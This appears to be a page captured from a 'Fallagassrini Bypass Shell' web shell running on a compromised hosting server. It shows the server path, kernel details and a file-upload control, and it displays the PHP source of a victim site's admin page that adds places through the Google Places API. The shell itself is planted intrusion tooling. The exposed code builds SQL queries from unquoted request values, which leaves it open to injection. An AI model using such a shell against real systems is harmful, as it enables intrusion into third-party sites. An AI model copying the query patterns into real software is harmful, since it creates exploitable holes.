Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/myreco.online/administration/gestion/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/myreco.online/administration/gestion/etablissement_ajout.php

<?
set_include_path(get_include_path() . PATH_SEPARATOR . __DIR__ . '/../');
include("../../configuration.php");
include("../../includes/fonctions.php");
setlocale(LC_TIME, 'fr_FR.UTF-8');

///////////////////////
//PARAMETRES DE LA PAGE
///////////////////////

$totem					= "etablissement_ajout";
$page					= "etablissement_ajout";
$ariane					= "etablissement_ajout";
$ariane1				= "etablissement_ajout";
$titre					= "etablissement_ajout";



///////////////////////
//RECUPERATION ET TRAITEMENT
///////////////////////

$action 						= $db->escape($_REQUEST['action']);
$miseajour 						= $db->escape($_REQUEST['miseajour']);
$delete_id 						= $db->escape($_REQUEST['delete_id']);
$place_id	 					= $db->escape($_REQUEST['place_id']);
$confirmation 					= $db->escape($_REQUEST['confirmation']);
$thematique_id 					= $db->escape($_REQUEST['thematique_id']);
$token 							= $db->escape($_REQUEST['token']);
$hebergement_id 				= $db->escape($_REQUEST['hebergement_id']);




$date_creation				= date("Y-m-d");
$date_heure_creation		= date("Y-m-d H:i");


if ($delete_id) {
	$fiche = $db->get_row("SELECT * FROM heb WHERE token = '" . $token . "'");
	$requete	= "DELETE FROM vis_proprio where hebergement_id= ".$hebergement_id."  AND id		=".$delete_id;
	$db->query($requete);
	header("Refresh:0; url=etablissement_ajout.php?token=".$token."&miseajour=1");exit;
	exit;
	}
	

if ($action == 1 && $place_id) {
	
	$fiche = $db->get_row("SELECT * FROM heb WHERE token = '" . $token . "'");
	// Vérifier si le lieu existe déjà pour cet hébergement
	$requete="SELECT COUNT(id) FROM vis_proprio WHERE hebergement_id = ".$hebergement_id." AND place_id = '" . $db->escape($place_id) . "'";
	//echo $requete;exit;
	$num = $db->get_var($requete);
	if ($num) {
		header("Location: etablissement_ajout.php?token=$token&miseajour=2");
		exit;
	}

	$placeId = urlencode($_POST['place_id']);
	$urlMap = "https://www.google.com/maps/place/?q=place_id:{$placeId}";
	$urlDetails = "https://maps.googleapis.com/maps/api/place/details/json?place_id={$placeId}&key={$GOOGLE_SERVER_KEY}&language=fr";
	
	// Historisation appel API
	$db->query("UPDATE api_historique SET api_appels = api_appels + 1");

	$response = file_get_contents($urlDetails);
	if ($response === false) {
		$erreur = "1";
		echo "Probleme API";
		exit;
	}

	$details = json_decode($response, true);
	if ($details['status'] !== 'OK') {
		$erreur = "2";
		exit;
	}

	// Récupération des données
	$placeDetails = $details['result'];
	$nomEtablissement = $db->escape($placeDetails['name'] ?? '');
	$fullAddress = $db->escape($placeDetails['formatted_address'] ?? '');
	$latitude = $placeDetails['geometry']['location']['lat'] ?? null;
	$longitude = $placeDetails['geometry']['location']['lng'] ?? null;

	$ville = $codePostal = '';
	foreach ($placeDetails['address_components'] as $component) {
		if (in_array('locality', $component['types'])) {
			$ville = $db->escape($component['long_name']);
		}
		if (in_array('postal_code', $component['types'])) {
			$codePostal = $component['long_name'];
		}
	}

	// Calcul de distance
	$distance = 0;
	if ($latitude && $longitude) {
		$latitude = str_replace(",", ".", $latitude);
		$longitude = str_replace(",", ".", $longitude);
		$latRef = str_replace(",", ".", $fiche->latitude);
		$lngRef = str_replace(",", ".", $fiche->longitude);

		$distance = round(calculerDistance($latRef, $lngRef, $latitude, $longitude));
		if ($distance > 100) {
			header("Location: etablissement_ajout.php?token=$token&miseajour=3");
			
		}
	}

	// Données des avis
	$nombreAvis = $placeDetails['user_ratings_total'] ?? 0;
	$noteMoyenne = $placeDetails['rating'] ?? 0;
	$dernierCommentaire = $placeDetails['reviews'][0]['text'] ?? '';

	// Traitement de la photo
	$photoUrl = '';
	$chemin_relatif = '';
	if (!empty($placeDetails['photos'][0]['photo_reference'])) {
		$photoReference = $placeDetails['photos'][0]['photo_reference'];
		$photoUrl = "https://maps.googleapis.com/maps/api/place/photo?maxwidth=800&photoreference={$photoReference}&key={$GOOGLE_SERVER_KEY}";
		
		// Historisation appel API
		$db->query("UPDATE api_historique SET api_appels = api_appels + 1");

		$token_nouveau = md5(mt_rand());
		
		$first_letter = strtoupper(substr($token_nouveau, 0, 2));
		
		$destination_dir = DOSSIER_RACINE."/upload/visite/{$first_letter}/";

		if (!file_exists($destination_dir)) {
			mkdir($destination_dir, 0755, true);
		}

		$cheminImage = $destination_dir . $token_nouveau . ".jpg";
		$chemin_relatif = "/upload/visite/{$first_letter}/{$token_nouveau}.jpg";

		$curl = curl_init($photoUrl);
		curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		$responsePhoto = curl_exec($curl);
		curl_close($curl);

		if ($responsePhoto !== false) {
			file_put_contents($cheminImage, $responsePhoto);
		}
	}

	// Insertion en base
	$requete_insertion = "
		INSERT INTO vis_proprio (
			token, rating, reviews, place_id, name, photo, cp, ville, thematique_id,latitude,longitude,
			full_address, hebergement_id, photo_locale, statut, distance
		) VALUES (
			'$token_nouveau',
			'$noteMoyenne',
			'$nombreAvis',
			'" . $db->escape($place_id) . "',
			'$nomEtablissement',
			'$photoUrl',
			'$codePostal',
			'$ville',
			'$thematique_id',
			'$latitude',
			'$longitude',
			'$fullAddress',
			'$fiche->id',
			'$chemin_relatif',
			'1',
			'$distance'
		)";
	$db->query($requete_insertion);

	header("Location: etablissement_ajout.php?token=$token&miseajour=1");
		exit;
}




									
									

?>
<!DOCTYPE html>
<html lang="fr">
	<?include("includes/head.php");?>
	
	<body id="kt_body" class="page-loading-enabled page-loading header-fixed header-mobile-fixed subheader-enabled subheader-fixed aside-enabled aside-fixed page-loading"  style="background-color:#ECE8E4!important;">
	<div id="halt_loader_overlay"></div><div id="halt_loader" class=""><i class="fa fa-spinner fa-spin"></i> <?echo $trad['Chargement des informations, merci de patienter'] ?? '⚠️';?></div>
		<div class="d-flex flex-column flex-root">
			<!--begin::Page-->
			<div class="d-flex flex-row flex-column-fluid page">
				<?include("includes/header_left.php");?>
				<!--begin::Wrapper-->
				<div class="d-flex flex-column flex-row-fluid wrapper" id="kt_wrapper">
					<?include("includes/header_top.php");?>
					<!--begin::Content-->
					<div class="content d-flex flex-column flex-column-fluid" id="kt_content">
						<!--begin::Subheader-->
						<div class="subheader py-2 py-4 subheader-solid" id="kt_subheader">
							<div class="container-fluid d-flex align-items-center justify-content-between flex-wrap flex-sm-nowrap">
								<div class="d-flex align-items-center">
									<div class="btn-group ml-2">
										<a class="btn btn-secondary btn-sm"  href="index.php?token=<?echo $token;?>"><?echo $trad['Mon compte'] ?? '⚠️';?></a>
									</div>
									<div class="btn-group ml-2">
										<a class="btn btn-primary btn-sm"  href="#"><?echo $trad['Ajouter un lieu'] ?? '⚠️';?></a>
									</div>
									<div class="btn-group ml-2">
										<a class="btn btn-secondary btn-sm"  href="lieux_visite.php?token=<?echo $token;?>"><?echo $trad['Supprimer un lieu'] ?? '⚠️';?></a>
									</div>
									<div class="btn-group ml-2">
										<a class="btn btn-secondary btn-sm"  href="mon_qrcode.php?token=<?echo $token;?>"><?echo $trad['Mon QR code'] ?? '⚠️';?></a>
									</div>
									<div class="btn-group ml-2">
										<a class="btn btn-secondary btn-sm"  href="ma_carte.php?token=<?echo $token;?>"><?echo $trad['Ma carte'] ?? '⚠️';?></a>
									</div>
									<div class="btn-group ml-2">
										<a class="btn btn-secondary btn-sm"  href="find.php?token=<?echo $token;?>"><?echo $trad['find'] ?? '⚠️';?></a>
									</div>
								</div>
								
							</div>
						</div>
						<!--end::Subheader-->
						<?
						
						$myquery			= "select *  from heb where token = '$token'";
						$fiche				= $db->get_row($myquery);
						
						?>
						<div class="d-flex flex-column-fluid">
							<div class="container-fluid">
								<form id="formulaire" action="etablissement_ajout.php" method="post" >
								<input type="hidden" name="hebergement_id" value="<?echo $fiche->id;?>">
								<input type="hidden" name="action" value="1">
								<input type="hidden" name="token" value="<?echo $fiche->token;?>">
								<input type="hidden" id="place_id" name="place_id">
								
								<?//echo $requete_insertion;?>
								<div class="row">
								
									<div class="col-xl-12" >
										<div class="card card-custom" style="border: 1px solid <?echo $couleur_bordure;?>;">
											<div class="card-header  card-header-tabs-line">
												<h3 class="card-title "><?echo $trad['Ajouter un lieu'] ?? '⚠️';?></h3>
												<div class="card-toolbar">
												<button type="submit" form="formulaire" id="form_bouton"  class="form_bouton btn btn-sm btn-primary " onclick="showLoader();"><?echo $trad['Ajouter un lieu'] ?? '⚠️';?></button>
												</div>
											</div>
											<div class="card-body">
												<div class="row">
													<div class="col-xl-6" >
														<div class="form-group">
															<label><?echo $trad['Ajouter un lieu'] ?? '⚠️';?> <span class="text-danger">*</span></label>
															<div class="input-group">
																<input required type="text" class="form-control" id="etablissement" placeholder="<?echo $trad['Saisir le nom du lieu ou son adresse exacte'] ?? '⚠️';?>">
															</div>
														</div>
														<div class="form-group">
															<label><?echo $trad['Catégorie'] ?? '⚠️';?> <span class="text-danger">*</span></label>
															<div class="input-group">
																
																<select class="form-control" name="thematique_id" id="thematique_id">
																	<?php foreach ($categories_proprio as $key => $label): ?>
																		<option value="<?= $key ?>" >
																			<?echo $trad[$key] ?? '⚠️';?>
																		</option>
																	<?php endforeach; ?>
																</select>
																	
																
															</div>
														</div>
													</div>
												
												</div>
												<?if ($erreur) {?>
												<div class="alert alert-custom alert-notice alert-light-primary fade show" role="alert">
													<div class="alert-icon"><i class="flaticon-warning"></i></div>
													<div class="alert-text">
													<?echo $trad['Une erreur a eu lieu, merci de renouveler la demande'] ?? '⚠️';?>
													</div>
												</div>
												<?}?>
											</div>
											<div class="card-footer text-right ">
											</div>
										</div>
									</div>
								
								</div>
								</form>
								<?
								
								$myquery 		= "SELECT * from vis_proprio where 1 and hebergement_id=".$fiche->id ." order by distance + 0";
								$myquery_calls  = $db->get_results($myquery);
								?>
								
								<div class="row">
									<?
									if (!empty($myquery_calls))
									{
									?>
									<?php foreach ($myquery_calls as $liste): 
									$photo_token = $liste->token; // ou token généré pour chaque lieu
									$photo_id = $liste->id; // identifiant unique pour distinguer les composants
									$prefix = substr($photo_token, 0, 2);
									$prefix=strtoupper($prefix);

									$photo_url = "/upload/visite/$prefix/$photo_token.jpg";

									$photo_full_path = DOSSIER_RACINE."/$photo_url";
									?>
									<div class="col-xl-3 mt-4">
										<div class="card" style="border: 1px solid <?= $couleur_bordure; ?>;">
											<div class="card-header h-100">
												<h3 class="card-title"><?= $liste->name; ?></h3>
												<div class="card-toolbar">
													<a href="etablissement_ajout.php?token=<?= $token; ?>&hebergement_id=<?= $fiche->id; ?>&delete_id=<?= $liste->id; ?>"
													   class="form_bouton btn btn-danger"><?= $trad['Supprimer'] ?? '⚠️'; ?></a>
												</div>
											</div>
											<div class="card-body">
												<div class="row">
													<div class="col-xl-12">

														<h3 class="card-title"><?= $liste->cp; ?> <?= $liste->ville; ?></h3>
														<h4 class="card-title"><?= $label_a; ?> <?= $liste->distance; ?> km.</h4>

														<?php if (file_exists($photo_full_path)): ?>
															<img id="photoActuelle_<?= $photo_id ?>" class="img-fluid" style="max-height: 300px;"
																 src="../../../<?= $photo_url ?>?v=<?= uniqid() ?>">
														<?php else: ?>
															<p id="photoActuelleMessage_<?= $photo_id ?>">Aucune photo</p>
														<?php endif; ?>

														<div class="custom-file mt-2">
															<input type="file" class="custom-file-input" id="photoInput_<?= $photo_id ?>">
															<label class="custom-file-label" for="photoInput_<?= $photo_id ?>">Choisir une photo...</label>
														</div>

														<input type="hidden" id="token_<?= $photo_id ?>" value="<?= $photo_token ?>">
														<button type="button" class="btn btn-sm btn-primary mt-2 uploadPhotoBtn" data-id="<?= $photo_id ?>">
															<i class="fa fa-upload"></i> Uploader
														</button>

														<div id="uploadResult_<?= $photo_id ?>" class="text-success small mt-1"></div>

													</div>
												</div>
											</div>
										</div>
									</div>
									<?php endforeach; ?>
									
									<?}?>
								</div>
								
								
								
							</div>
						</div>
						<!--end::Content-->
						</div>
					<!--begin::Footer-->
					<?include("includes/footer.php");?>
					<!--end::Footer-->
				</div>
				<!--end::Wrapper-->
			</div>
			<!--end::Page-->
		</div>
		<!--end::Main-->
		<?include("includes/extrav2.php");?>
		
		
		<!-- Charge l'API correctement -->
		<script
		  src="https://maps.googleapis.com/maps/api/js?key=<?= htmlspecialchars($GOOGLE_FRONT_KEY) ?>&libraries=places&v=weekly&loading=async&callback=initMap"
		  async defer></script>

		<script>
		  // appelée par le callback=initMap une fois l'API prête
		  function initMap() {
			const input = document.getElementById('etablissement');
			if (!input) {
			  console.error("#etablissement introuvable");
			  return;
			}

			const options = {
			  types: ['establishment'],
			  componentRestrictions: { country: '<?= htmlspecialchars(strtolower($fiche->country_code ?? "fr")) ?>' } // ex: 'fr'
			};

			const autocomplete = new google.maps.places.Autocomplete(input, options);

			autocomplete.addListener('place_changed', () => {
			  const place = autocomplete.getPlace();
			  if (!place || !place.place_id) {
				console.warn("Aucun place_id retourné.", place);
				return;
			  }
			  console.log("Place ID sélectionné :", place.place_id);

			  // renseigne un input hidden #place_id si présent
			  const placeIdField = document.getElementById('place_id');
			  if (placeIdField) {
				placeIdField.value = place.place_id;
			  }
			});
		  }
		</script>




		<script type="text/javascript" class="init">
		$(document).ready(function() {
			
			
			
			$('.uploadPhotoBtn').on('click', function () {
				const id = $(this).data('id');
				const fileInput = $('#photoInput_' + id)[0];
				const token = $('#token_' + id).val();

				if (!fileInput.files.length) {
					alert('Veuillez sélectionner une photo.');
					return;
				}

				const formData = new FormData();
				formData.append('photo', fileInput.files[0]);
				formData.append('token', token);
				formData.append('table', 'vis_proprio');

				showLoader();

				$.ajax({
					url: '../upload_photo_visite.php',
					type: 'POST',
					data: formData,
					processData: false,
					contentType: false,
					dataType: 'json',
					success: function (response) {
						$('#uploadResult_' + id).html(response.message);
						const imageUrl = response.photo_url + '?v=' + Math.random();

						if ($('#photoActuelle_' + id).length) {
							$('#photoActuelle_' + id).attr('src', imageUrl);
						} else {
							$('#photoActuelleMessage_' + id).remove();
							$('#photoInput_' + id).closest('.card-body').prepend('<img id="photoActuelle_' + id + '" class="img-fluid" style="max-height: 300px;" src="' + imageUrl + '">');
						}
					},
					error: function () {
						$('#uploadResult_' + id).html('Erreur AJAX.');
					},
					complete: function () {
						hideLoader();
					}
				});
			});

			// mise à jour dynamique du label
			$('.custom-file-input').on('change', function () {
				const fileName = $(this).val().split('\\').pop();
				$(this).next('.custom-file-label').html(fileName);
			});
		
		
			////////////////////////////
			//MISE A JOUR NOTIFICATION//
			////////////////////////////
			
			
		<?if ($miseajour==1) {$title="Mise à jour demandée";$message="La mise à jour a été effectuée avec succès";$type="success";}?>
		<?if ($miseajour==2) {$title="Mise à jour demandée";$message="Doublon detecté";$type="info";}?>
		<?if ($miseajour==3) {$title="Mise à jour demandée";$message="Distance supérieure à 100 km";$type="danger";}?>
		
		<?if ($miseajour) {?>
		$.notify({title: '<?echo $title;?>',message: '<?echo $message;?>',},{element: 'body',position: null,type: "<?echo $type;?>",allow_dismiss: true,newest_on_top: true,spacing: 10,delay : 1000,placement: {from: "top",align: "center"},offset: {x: 30,y: 30},z_index: 10000,animate: {enter: 'animate__animated animate__bounce',exit: 'animate__animated animate__bounce'}});
		<?}?>
    });
		</script>
		
		<?include("includes/end.php");?>
	</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net